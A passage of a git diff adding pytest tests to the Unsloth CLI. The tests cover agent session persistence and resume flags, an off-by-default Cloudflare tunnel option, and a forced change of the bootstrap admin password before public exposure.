+def test_agent_api_key_auto_started_accepted_key_is_honored(fake_studio, tmp_path):
+    # An explicit key the fresh server accepts (e.g. persisted in this Studio
+    # home's auth db across restarts) keeps working exactly as before.
+    key = start._agent_api_key(BASE, "sk-unsloth-deadbeefdeadbeef", auto_started = True)
+    assert key == "sk-unsloth-deadbeefdeadbeef"
+    cached = json.loads((tmp_path / "agent_api_key.json").read_text())
+    assert cached["servers"][BASE]["saved"] == ["sk-unsloth-deadbeefdeadbeef"]
+
+
+def test_session_config_no_launch_preserves_existing_state(fake_studio, tmp_path):
+    # A previously printed recipe may still be running an agent whose sessions
+    # or sqlite state live in the stable home; a re-run must not wipe it.
+    with start._session_config("codex", launch = False) as home:
+        marker = home / "sessions" / "live.sqlite"
+        marker.parent.mkdir(parents = True)
+        marker.write_text("state")
+    with start._session_config("codex", launch = False) as home2:
+        assert home2 == home
+        assert (home2 / "sessions" / "live.sqlite").read_text() == "state"
+
+
+# ── --persist: persist the agent session so it can be resumed ────────────────
+def test_session_config_persist_uses_stable_dir_and_survives(monkeypatch, tmp_path):
+    # --persist routes a launch to the stable Unsloth agents dir (the one --no-launch
+    # already uses) instead of a throwaway temp dir, and never wipes it on exit.
+    monkeypatch.setattr(start, "_agents_config_root", lambda: tmp_path / "agents")
+    with start._session_config("codex", launch = True, persist = True) as home:
+        assert home == tmp_path / "agents" / "codex"
+        (home / "marker").write_text("kept")
+    assert home.exists()
+    assert (home / "marker").read_text() == "kept"
+
+
+def test_session_config_default_launch_is_ephemeral():
+    # Default launch (no --persist) still uses a throwaway temp dir wiped on exit.
+    with start._session_config("codex", launch = True) as home:
+        assert home.exists()
+        assert "unsloth-codex-" in home.name
+    assert not home.exists()
+
+
+# The temp-dir agents: --persist points each one's home/state env at the stable dir;
+# without it, at an ephemeral temp path. opencode is handled separately (only its
+# config overlay is relocated; its session data was never in the temp dir).
+_RESUME_ENV_VAR = {
+    "codex": "CODEX_HOME",
+    "openclaw": "OPENCLAW_STATE_DIR",
+    "hermes": "HERMES_HOME",
+    "pi": "HOME",
+}
+
+
+def _capture_launch(monkeypatch, argv):
+    captured = {}
+
+    def run(
+        command,
+        env = None,
+        **kwargs,
+    ):
+        captured["command"] = command
+        captured["env"] = env
+        return SimpleNamespace(returncode = 0)
+
+    monkeypatch.setattr(start.subprocess, "run", run)
+    result = CliRunner().invoke(start.start_app, argv)
+    assert result.exit_code == 0, result.output
+    return captured
+
+
+@pytest.mark.parametrize("agent", sorted(_RESUME_ENV_VAR))
+def test_resume_persists_agent_home_to_stable_dir(agent, fake_studio, tmp_path, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: f"/usr/local/bin/{agent}")
+    captured = _capture_launch(monkeypatch, [agent, "--persist"])
+    stable = tmp_path / "agents" / agent
+    assert captured["env"][_RESUME_ENV_VAR[agent]] == str(stable)
+    # The stable dir survives the agent exit, so the session can be resumed.
+    assert stable.exists()
+
+
+@pytest.mark.parametrize("agent", sorted(_RESUME_ENV_VAR))
+def test_default_launch_home_is_ephemeral(agent, fake_studio, tmp_path, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: f"/usr/local/bin/{agent}")
+    captured = _capture_launch(monkeypatch, [agent])
+    home = captured["env"][_RESUME_ENV_VAR[agent]]
+    assert f"unsloth-{agent}-" in home
+    assert str(tmp_path / "agents") not in home
+
+
+def test_resume_opencode_config_in_stable_dir(fake_studio, tmp_path, monkeypatch):
+    # opencode's session data lives in ~/.local/share/opencode (never relocated), so
+    # resume already survives exit; --persist also stabilizes its config overlay dir.
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/opencode")
+    captured = _capture_launch(monkeypatch, ["opencode", "--persist"])
+    stable = tmp_path / "agents" / "opencode"
+    assert captured["env"]["OPENCODE_CONFIG"] == str(stable / "opencode.json")
+    assert stable.exists()
+
+
+def test_persist_bare_codex_launch_has_no_resume_token(fake_studio, monkeypatch):
+    # A bare `--persist` only persists the session dir; it must NOT auto-append a native
+    # resume token, or the very first launch (no session yet) would send codex down its
+    # no-session error path. The user resumes explicitly: `unsloth start codex --persist resume`.
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+    captured = _capture_launch(monkeypatch, ["codex", "--persist"])
+    assert "resume" not in captured["command"]
+    # command[0] is the resolved executable path; assert the argv after it.
+    assert captured["command"][1:] == ["--oss", "--profile", start._CODEX_PROFILE]
+
+
+def test_persist_bare_opencode_launch_has_no_resume_token(fake_studio, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/opencode")
+    captured = _capture_launch(monkeypatch, ["opencode", "--persist"])
+    assert "--continue" not in captured["command"]
+    assert captured["command"][1:] == ["--model", f"{start._OPENCODE_PROVIDER}/{MODEL['id']}"]
+
+
+def test_persist_bare_claude_launch_has_no_resume_token(fake_studio, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+    captured = _capture_launch(monkeypatch, ["claude", "--persist"])
+    assert "--continue" not in captured["command"]
+    assert captured["command"][1:] == ["--model", MODEL["id"]]
+
+
+def test_resume_with_passthrough_does_not_auto_append(fake_studio, monkeypatch):
+    # When the caller drives their own subcommand, --persist only persists the dir; it
+    # must not inject a resume token that would collide with the user's command.
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+    captured = _capture_launch(monkeypatch, ["codex", "--persist", "exec", "hello"])
+    assert "resume" not in captured["command"]
+    assert captured["command"][-2:] == ["exec", "hello"]
+
+
+def test_default_launch_has_no_resume_token(fake_studio, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/codex")
+    captured = _capture_launch(monkeypatch, ["codex"])
+    assert "resume" not in captured["command"]
+
+
+def test_resume_persist_only_agents_have_no_resume_token(fake_studio, monkeypatch):
+    # Persistence alone must not select a session.
+    for agent in ("openclaw", "hermes"):
+        monkeypatch.setattr(start.shutil, "which", lambda _, a = agent: f"/usr/local/bin/{a}")
+        captured = _capture_launch(monkeypatch, [agent, "--persist"])
+        assert "resume" not in captured["command"]
+        assert "--continue" not in captured["command"]
+
+
+@pytest.mark.parametrize(
+    ("args", "expected"),
+    [
+        (
+            ["--resume", "session-id", "-z", "follow up"],
+            [
+                "chat",
+                "-Q",
+                "--yolo",
+                "--accept-hooks",
+                "--resume",
+                "session-id",
+                "-q",
+                "follow up",
+            ],
+        ),
+        (
+            ["-rsession-id", "-zfollow up"],
+            ["chat", "-Q", "--yolo", "--accept-hooks", "-rsession-id", "-qfollow up"],
+        ),
+        (
+            ["-c=project", "-z=follow up"],
+            ["chat", "-Q", "--yolo", "--accept-hooks", "-c=project", "-q=follow up"],
+        ),
+        (
+            ["-r", "session-id", "--oneshot=follow up"],
+            [
+                "chat",
+                "-Q",
+                "--yolo",
+                "--accept-hooks",
+                "-r",
+                "session-id",
+                "--query=follow up",
+            ],
+        ),
+        (
+            ["--continue", "project", "--oneshot", "follow up"],
+            [
+                "chat",
+                "-Q",
+                "--yolo",
+                "--accept-hooks",
+                "--continue",
+                "project",
+                "-q",
+                "follow up",
+            ],
+        ),
+        (
+            ["--yolo", "--resume", "session-id", "-z", "follow up"],
+            [
+                "chat",
+                "-Q",
+                "--accept-hooks",
+                "--yolo",
+                "--resume",
+                "session-id",
+                "-q",
+                "follow up",
+            ],
+        ),
+        (
+            ["--accept-hooks", "--resume", "session-id", "-z", "follow up"],
+            [
+                "chat",
+                "-Q",
+                "--yolo",
+                "--accept-hooks",
+                "--resume",
+                "session-id",
+                "-q",
+                "follow up",
+            ],
+        ),
+        (
+            ["--resume", "chat", "-z", "follow up"],
+            [
+                "chat",
+                "-Q",
+                "--yolo",
+                "--accept-hooks",
+                "--resume",
+                "chat",
+                "-q",
+                "follow up",
+            ],
+        ),
+        (["--resume", "session-id"], ["--resume", "session-id"]),
+        (["-z", "new session"], ["-z", "new session"]),
+    ],
+)
+def test_hermes_resume_oneshot_args(args, expected):
+    assert start._hermes_resume_oneshot_args(args) == expected
+
+
+def test_hermes_resume_oneshot_uses_session_aware_chat(fake_studio, monkeypatch):
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/hermes")
+    captured = _capture_launch(
+        monkeypatch,
+        ["hermes", "--persist", "--resume", "session-id", "-z", "follow up"],
+    )
+    assert captured["command"][1:] == [
+        "chat",
+        "-Q",
+        "--yolo",
+        "--accept-hooks",
+        "--resume",
+        "session-id",
+        "-q",
+        "follow up",
+    ]
+
+
+@pytest.mark.parametrize("usage_arg", ["--usage-file", "--usage-file=usage.json"])
+def test_hermes_resume_oneshot_rejects_usage_file(monkeypatch, usage_arg):
+    monkeypatch.setattr(
+        start,
+        "_connect",
+        lambda *args, **kwargs: pytest.fail("argument validation must run before connect"),
+    )
+    argv = ["hermes", "--resume", "session-id", "-z", "follow up", usage_arg]
+    if usage_arg == "--usage-file":
+        argv.append("usage.json")
+    result = CliRunner().invoke(start.start_app, argv)
+    assert result.exit_code == 2
+    assert "cannot resume a one-shot session with --usage-file" in result.output
+
+
+def test_native_resume_flag_passes_through_unchanged(fake_studio, monkeypatch):
+    # The persistence flag is --persist, NOT --resume, so an agent's own
+    # `--resume <id>` (e.g. `unsloth start claude --resume <guid>`) still flows
+    # through to the agent verbatim and is not swallowed as a Studio option.
+    monkeypatch.setattr(start.shutil, "which", lambda _: "/usr/local/bin/claude")
+    monkeypatch.setattr(start, "_claude_flags", lambda: [])
+    captured = _capture_launch(monkeypatch, ["claude", "--resume", "some-session-guid"])
+    assert captured["command"][-2:] == ["--resume", "some-session-guid"]
+    # Studio never auto-appends its own resume token when the user drives resume.
+    assert captured["command"].count("--resume") == 1
+    assert "--continue" not in captured["command"]
diff --git a/unsloth_cli/tests/test_studio_cloudflare_flag.py b/unsloth_cli/tests/test_studio_cloudflare_flag.py
index c09ac8b998..fb57d7aaf4 100644
--- a/unsloth_cli/tests/test_studio_cloudflare_flag.py
+++ b/unsloth_cli/tests/test_studio_cloudflare_flag.py
@@ -3,8 +3,8 @@
 
 """Tests for the `--cloudflare/--no-cloudflare` Studio flag.
 
-Pins the typer Option (default on) on both `unsloth studio` and
-`unsloth studio run`, and that the chosen polarity reaches the re-exec'd
+Pins the typer Option (tri-state, default off / None) on both `unsloth studio`
+and `unsloth studio run`, and that the chosen polarity reaches the re-exec'd
 child and run_server. Modeled on test_studio_run_parallel_flag.py.
 """
 
@@ -33,7 +33,7 @@ _BASE = ["--model", "unsloth/Qwen3-1.7B-GGUF"]
 # ── option registration ──────────────────────────────────────────────
 
 
-def test_run_exposes_cloudflare_option_default_on():
+def test_run_exposes_cloudflare_option_default_off():
     import inspect
 
     sig = inspect.signature(_studio().run)
@@ -41,16 +41,16 @@ def test_run_exposes_cloudflare_option_default_on():
     opt = sig.parameters["cloudflare"].default
     decls = set(getattr(opt, "param_decls", []) or [])
     assert "--cloudflare/--no-cloudflare" in decls
-    assert getattr(opt, "default", None) is True
+    assert getattr(opt, "default", "missing") is None
 
 
-def test_studio_default_exposes_cloudflare_option_default_on():
+def test_studio_default_exposes_cloudflare_option_default_off():
     import inspect
 
     sig = inspect.signature(_studio().studio_default)
     assert "cloudflare" in sig.parameters
     opt = sig.parameters["cloudflare"].default
-    assert getattr(opt, "default", None) is True
+    assert getattr(opt, "default", "missing") is None
 
 
 # ── re-exec forwarding: `unsloth studio run` ─────────────────────────
@@ -69,6 +69,11 @@ def _install_run_reexec_capture(monkeypatch, *, platform = "linux"):
     monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
     fake_venv = Path("/fake/studio/venv/unsloth_studio")
     monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    # A built frontend dist is present so the public-launch UI check passes
+    # deterministically (independent of whether the repo dist was built).
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
     fake_bin = fake_venv / "bin" / "unsloth"
     real_is_file = Path.is_file
     monkeypatch.setattr(
@@ -107,19 +112,23 @@ def _invoke_run(monkeypatch, args):
 
 
 @pytest.mark.parametrize(
-    "user_flag,expected,unexpected",
+    "extra_flags,expected,unexpected",
     [
-        (None, "--cloudflare", "--no-cloudflare"),  # default on
-        ("--cloudflare", "--cloudflare", "--no-cloudflare"),
-        ("--no-cloudflare", "--no-cloudflare", "--cloudflare"),
+        # Default (no flag) forwards --no-cloudflare explicitly so a mixed-version
+        # child venv (old default: --cloudflare on) can't re-enable the tunnel.
+        ([], "--no-cloudflare", "--cloudflare"),
+        (["--cloudflare"], "--cloudflare", "--no-cloudflare"),
+        (["--no-cloudflare"], "--no-cloudflare", "--cloudflare"),
+        # --secure implies the tunnel; never forward --no-cloudflare with it.
+        (["--secure"], None, "--no-cloudflare"),
     ],
 )
-def test_run_reexec_forwards_cloudflare_polarity(monkeypatch, user_flag, expected, unexpected):
-    extras = [user_flag] if user_flag else []
-    captured = _invoke_run(monkeypatch, _BASE + extras)
+def test_run_reexec_forwards_cloudflare_polarity(monkeypatch, extra_flags, expected, unexpected):
+    captured = _invoke_run(monkeypatch, _BASE + extra_flags)
     assert len(captured) == 1, captured
     argv = captured[0]
-    assert expected in argv, f"expected {expected} in child argv; got {argv}"
+    if expected is not None:
+        assert expected in argv, f"expected {expected} in child argv; got {argv}"
     assert unexpected not in argv, f"unexpected {unexpected} in child argv; got {argv}"
 
 
@@ -142,7 +151,11 @@ def _invoke_studio_default(
     fake_venv = Path("/fake/studio/venv/unsloth_studio")
     monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
     monkeypatch.setattr(studio_mod, "_find_run_py", lambda: Path("/fake/studio/run.py"))
-    monkeypatch.setattr(studio_mod, "_find_frontend_dist", lambda: None)
+    # A built frontend dist is present so the public-launch UI check passes; this
+    # suite exercises flag forwarding, not the missing-dist lockout guard.
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
     monkeypatch.setattr(sys, "platform", platform)
 
     def fake_execvp(file, argv):
@@ -158,18 +171,24 @@ def _invoke_studio_default(
 
 
 @pytest.mark.parametrize(
-    "user_flag,expected,unexpected",
+    "extra_flags,expected,unexpected",
     [
-        (None, "--cloudflare", "--no-cloudflare"),
-        ("--no-cloudflare", "--no-cloudflare", "--cloudflare"),
+        # Default (no flag) forwards --no-cloudflare explicitly: _find_run_py can fall
+        # back to an older studio-venv run.py (default on), so a mixed install must
+        # not re-enable the tunnel.
+        ([], "--no-cloudflare", "--cloudflare"),
+        (["--cloudflare"], "--cloudflare", "--no-cloudflare"),
+        (["--no-cloudflare"], "--no-cloudflare", "--cloudflare"),
+        # --secure implies the tunnel; never forward --no-cloudflare with it.
+        (["--secure"], None, "--no-cloudflare"),
     ],
 )
-def test_studio_default_reexec_forwards_cloudflare(monkeypatch, user_flag, expected, unexpected):
-    extras = [user_flag] if user_flag else []
-    captured = _invoke_studio_default(monkeypatch, ["-H", "0.0.0.0"] + extras)
+def test_studio_default_reexec_forwards_cloudflare(monkeypatch, extra_flags, expected, unexpected):
+    captured = _invoke_studio_default(monkeypatch, ["-H", "0.0.0.0"] + extra_flags)
     assert len(captured) == 1, captured
     argv = captured[0]
-    assert expected in argv, f"expected {expected}; got {argv}"
+    if expected is not None:
+        assert expected in argv, f"expected {expected}; got {argv}"
     assert unexpected not in argv, f"unexpected {unexpected}; got {argv}"
 
 
@@ -182,7 +201,10 @@ class _RunServerCaptured(SystemExit):
         self.kwargs = dict(kwargs)
 
 
-@pytest.mark.parametrize("user_flag,expected", [(None, True), ("--no-cloudflare", False)])
+@pytest.mark.parametrize(
+    "user_flag,expected",
+    [(None, None), ("--cloudflare", True), ("--no-cloudflare", False)],
+)
 def test_run_in_venv_passes_cloudflare_to_run_server(monkeypatch, user_flag, expected):
     import types
 
@@ -348,21 +370,22 @@ def test_run_silent_emits_cloudflare_notice_for_external_bind(monkeypatch):
     assert ("print", {"secure": False, "loopback_host": "127.0.0.1"}) in calls
 
 
-# ── parent-level --no-cloudflare with a subcommand is rejected ───────
+# ── parent-level --cloudflare/--no-cloudflare with a subcommand is rejected ─
 
 
-def test_studio_default_rejects_no_cloudflare_with_subcommand(monkeypatch):
-    # `unsloth studio --no-cloudflare run ...` would not reach the subcommand,
-    # so it must error (mirrors --parallel) rather than silently still tunnel.
+@pytest.mark.parametrize("flag", ["--cloudflare", "--no-cloudflare"])
+def test_studio_default_rejects_cloudflare_flag_with_subcommand(monkeypatch, flag):
+    # `unsloth studio --cloudflare run ...` (or --no-cloudflare) would not reach the
+    # subcommand, so it must error (mirrors --parallel) rather than silently drop it.
     import typer as _typer
 
     studio_mod = _studio()
     app = _typer.Typer()
     app.add_typer(studio_mod.studio_app, name = "studio")
-    result = CliRunner().invoke(app, ["studio", "--no-cloudflare", "run", "--model", "X"])
+    result = CliRunner().invoke(app, ["studio", flag, "run", "--model", "X"])
     assert result.exit_code == 2, result.output
     combined = (result.output or "") + (getattr(result, "stderr", "") or "")
-    assert "--no-cloudflare" in combined, combined
+    assert flag in combined, combined
 
 
 # ── run() tears the server + tunnel down if startup aborts ───────────
diff --git a/unsloth_cli/tests/test_studio_password_prompt.py b/unsloth_cli/tests/test_studio_password_prompt.py
new file mode 100644
index 0000000000..7bbdfe3703
--- /dev/null
+++ b/unsloth_cli/tests/test_studio_password_prompt.py
@@ -0,0 +1,1397 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the forced terminal password change before public (tunnel) exposure.
+
+`unsloth studio --secure` / `--cloudflare` (wildcard bind) must, when the admin
+account still has its seeded bootstrap password, prompt for a new password in
+the terminal BEFORE any re-exec or server exists; without a terminal it warns
+and falls back to the backend bootstrap timeout. Modeled on
+test_studio_cloudflare_flag.py.
+"""
+
+from __future__ import annotations
+
+import sqlite3
+import sys
+from pathlib import Path
+
+import pytest
+from typer.testing import CliRunner
+
+
+_REPO_ROOT = Path(__file__).resolve().parents[2]
+if str(_REPO_ROOT) not in sys.path:
+    sys.path.insert(0, str(_REPO_ROOT))
+
+
+def _studio():
+    from unsloth_cli.commands import studio as _studio_mod
+    return _studio_mod
+
+
+_BASE = ["--model", "unsloth/Qwen3-1.7B-GGUF"]
+_NEW_PW = "brand-new-password"
+
+
+# ── pure trigger matrix ──────────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    "cloudflare,host,secure,api_only,expected",
+    [
+        # --secure always implies the tunnel (host already forced to loopback).
+        (None, "127.0.0.1", True, False, True),
+        (True, "127.0.0.1", True, False, True),
+        (None, "127.0.0.1", True, True, True),
+        # --cloudflare tunnels only non-api-only wildcard binds.
+        (True, "0.0.0.0", False, False, True),
+        (True, "::", False, False, True),
+        (True, "127.0.0.1", False, False, False),
+        (True, "0.0.0.0", False, True, False),
+        # Off/unset never prompts without --secure.
+        (None, "0.0.0.0", False, False, False),
+        (False, "0.0.0.0", False, False, False),
+        (None, "127.0.0.1", False, False, False),
+    ],
+)
+def test_should_prompt_password_change_matrix(cloudflare, host, secure, api_only, expected):
+    assert (
+        _studio()._should_prompt_password_change(
+            cloudflare = cloudflare, host = host, secure = secure, api_only = api_only
+        )
+        is expected
+    )
+
+
+# ── shared harness ───────────────────────────────────────────────────
+
+
+class _ExecCaptured(SystemExit):
+    def __init__(self, argv):
+        super().__init__(0)
+        self.argv = list(argv)
+
+
+def _auth_db(studio_home: Path) -> Path:
+    return studio_home / "auth" / "auth.db"
+
+
+def _seed_auth(studio_mod, *, must_change = True):
+    """Create the CLI-side default admin (must_change_password=1) plus one
+    refresh token, mirroring a fresh install that served a login."""
+    conn = studio_mod._connect_auth_db()
+    try:
+        studio_mod._ensure_cli_default_admin(conn)
+        if not must_change:
+            conn.execute("UPDATE auth_user SET must_change_password = 0")
+        conn.execute(
+            "INSERT INTO refresh_tokens (token_hash, username, expires_at) VALUES (?, ?, ?)",
+            ("deadbeef", studio_mod.DEFAULT_ADMIN_USERNAME, "2099-01-01T00:00:00"),
+        )
+        conn.commit()
+        row = conn.execute(
+            "SELECT password_hash, jwt_secret FROM auth_user WHERE username = ?",
+            (studio_mod.DEFAULT_ADMIN_USERNAME,),
+        ).fetchone()
+        return {"password_hash": row[0], "jwt_secret": row[1]}
+    finally:
+        conn.close()
+
+
+def _auth_state(studio_mod):
+    conn = sqlite3.connect(_auth_db(studio_mod.STUDIO_HOME))
+    try:
+        row = conn.execute(
+            "SELECT password_hash, jwt_secret, must_change_password FROM auth_user "
+            "WHERE username = ?",
+            (studio_mod.DEFAULT_ADMIN_USERNAME,),
+        ).fetchone()
+        n_refresh = conn.execute("SELECT COUNT(*) FROM refresh_tokens").fetchone()[0]
+        return {
+            "password_hash": row[0],
+            "jwt_secret": row[1],
+            "must_change_password": row[2],
+            "n_refresh": n_refresh,
+        }
+    finally:
+        conn.close()
+
+
+def _install_prompt_env(
+    monkeypatch,
+    tmp_path,
+    *,
+    interactive,
+    scripted = _NEW_PW,
+):
+    """Tmp STUDIO_HOME + fake tty + scripted prompt. Returns the event log that
+    records prompt calls and re-exec argv in order."""
+    studio_mod = _studio()
+    events = []
+
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    monkeypatch.setattr(studio_mod, "_prompt_streams_interactive", lambda: interactive)
+    # cloudflared is "available" by default so the headless --secure strip path
+    # proceeds without a real download; the unavailable-tunnel guard has its own
+    # dedicated test that overrides this.
+    monkeypatch.setattr(studio_mod, "_tunnel_binary_confirmed_unavailable", lambda: False)
+
+    def fake_prompt(verify_current, out = None):
+        events.append(("prompt", verify_current))
+        if isinstance(scripted, BaseException):
+            raise scripted
+        return scripted
+
+    monkeypatch.setattr(studio_mod._password_prompt, "prompt_new_password", fake_prompt)
+    return events
+
+
+def _install_studio_default_reexec(monkeypatch, events):
+    studio_mod = _studio()
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    monkeypatch.setattr(studio_mod, "_ensure_studio_env_exported", lambda: None)
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    monkeypatch.setattr(studio_mod, "_find_run_py", lambda: Path("/fake/studio/run.py"))
+    # A built frontend dist is present by default so the public-launch UI check
+    # passes; the no-dist lockout guard has its own dedicated test.
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
+    monkeypatch.setattr(sys, "platform", "linux")
+
+    def fake_execvp(file, argv):
+        events.append(("exec", list(argv)))
+        raise _ExecCaptured(argv)
+
+    monkeypatch.setattr(studio_mod.os, "execvp", fake_execvp)
+
+
+def _install_run_reexec(monkeypatch, events):
+    studio_mod = _studio()
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    # A built frontend dist is present by default so the public-launch UI check
+    # passes deterministically (independent of whether the repo dist was built);
+    # the missing-dist lockout guard has its own dedicated test.
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
+    fake_bin = fake_venv / "bin" / "unsloth"
+    real_is_file = Path.is_file
+    monkeypatch.setattr(
+        Path,
+        "is_file",
+        lambda self: True if str(self) == str(fake_bin) else real_is_file(self),
+    )
+    from unsloth_cli import _tool_policy as _tp_mod
+
+    monkeypatch.setattr(
+        _tp_mod,
+        "resolve_tool_policy",
+        lambda host, flag, yes, silent: False if flag is None else bool(flag),
+    )
+    monkeypatch.setattr(sys, "platform", "linux")
+
+    def fake_execvp(file, argv):
+        events.append(("exec", list(argv)))
+        raise _ExecCaptured(argv)
+
+    monkeypatch.setattr(studio_mod.os, "execvp", fake_execvp)
+
+
+def _invoke_studio_default(monkeypatch, events, args):
+    import typer as _typer
+
+    studio_mod = _studio()
+    _install_studio_default_reexec(monkeypatch, events)
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    return CliRunner().invoke(app, args, catch_exceptions = True)
+
+
+def _invoke_run(monkeypatch, events, args):
+    import typer as _typer
+
+    studio_mod = _studio()
+    _install_run_reexec(monkeypatch, events)
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(studio_mod.run)
+    return CliRunner().invoke(app, args, catch_exceptions = True)
+
+
+# ── plain `unsloth studio` ───────────────────────────────────────────
+
+
+def test_studio_default_secure_prompts_and_updates_before_reexec(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    before = _seed_auth(studio_mod)
+
+    _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["prompt", "exec"], events
+
+    after = _auth_state(studio_mod)
+    assert after["must_change_password"] == 0
+    assert after["password_hash"] != before["password_hash"]
+    assert after["jwt_secret"] != before["jwt_secret"]
+    assert after["n_refresh"] == 0
+    assert not (tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE).exists()
+
+
+def test_studio_default_prompt_rejects_current_password(monkeypatch, tmp_path):
+    # The verify_current callback handed to the prompt must recognize the
+    # seeded bootstrap password (hash compare with the stored salt).
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+    bootstrap_pw = (tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE).read_text()
+
+    _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    verify_current = events[0][1]
+    assert verify_current(bootstrap_pw) is True
+    assert verify_current("something-else-entirely") is False
+
+
+def test_studio_default_non_tty_warns_and_proceeds(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "bootstrap password" in combined
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+
+
+def test_studio_default_non_tty_deletes_bootstrap_password_file(monkeypatch, tmp_path):
+    # Mixed-version safety: a headless public launch must delete the seeded
+    # plaintext credential before re-exec so a fresh child of ANY version reads
+    # None from disk and never injects it into the public HTML. The launch still
+    # proceeds (re-exec captured), and the DB flag stays set so the login page
+    # still forces a change and the bootstrap shutdown timer still arms.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    assert not bootstrap_file.exists()
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+
+
+def test_studio_default_reexec_outer_runpy_keeps_bootstrap_for_local_recovery(
+    monkeypatch, tmp_path
+):
+    # Regression (Codex 3572165931): when the re-exec target is THIS install's own
+    # run.py, the child's pre-bind gate sets suppress_bootstrap_injection and never
+    # serves the seeded credential publicly, so the parent strip is unnecessary.
+    # Skipping it means a --secure launch whose tunnel later fails to connect does
+    # not lock the user out, and .bootstrap_password stays for local recovery.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    _install_studio_default_reexec(monkeypatch, events)
+    # Re-exec target IS this install's outer run.py -> child self-suppresses.
+    outer_run_py = studio_mod._PACKAGE_ROOT / "studio" / "backend" / "run.py"
+    monkeypatch.setattr(studio_mod, "_find_run_py", lambda: outer_run_py)
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["--secure"], catch_exceptions = True)
+
+    # Strip skipped: file preserved, must_change still set, launch still re-execs.
+    assert bootstrap_file.exists(), result.output
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    assert "exec" in [k for k, _ in events], events
+
+
+def test_studio_default_non_tty_persists_seeded_admin_on_fresh_home(monkeypatch, tmp_path):
+    # Fresh STUDIO_HOME (no pre-seed): the gate's own _ensure_cli_default_admin
+    # does the INSERT. It must COMMIT that seed before re-exec, or conn.close()
+    # rolls it back and an OLD child would find no admin, regenerate a fresh
+    # bootstrap password + file, and inject THAT -- defeating the file deletion.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    # Deliberately NO _seed_auth(): exercise the gate seeding a fresh DB itself.
+
+    _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    # The seeded admin persists (committed) so an old child sees it and does not
+    # regenerate; the bootstrap file stays deleted; the launch still re-execs.
+    state = _auth_state(studio_mod)
+    assert state["must_change_password"] == 1
+    assert not (tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE).exists()
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+
+
+def test_studio_default_non_tty_fails_closed_when_bootstrap_removal_fails(monkeypatch, tmp_path):
+    # Removing .bootstrap_password IS the protection on this path. If unlink
+    # fails (locked file / read-only auth dir) the credential is still on disk
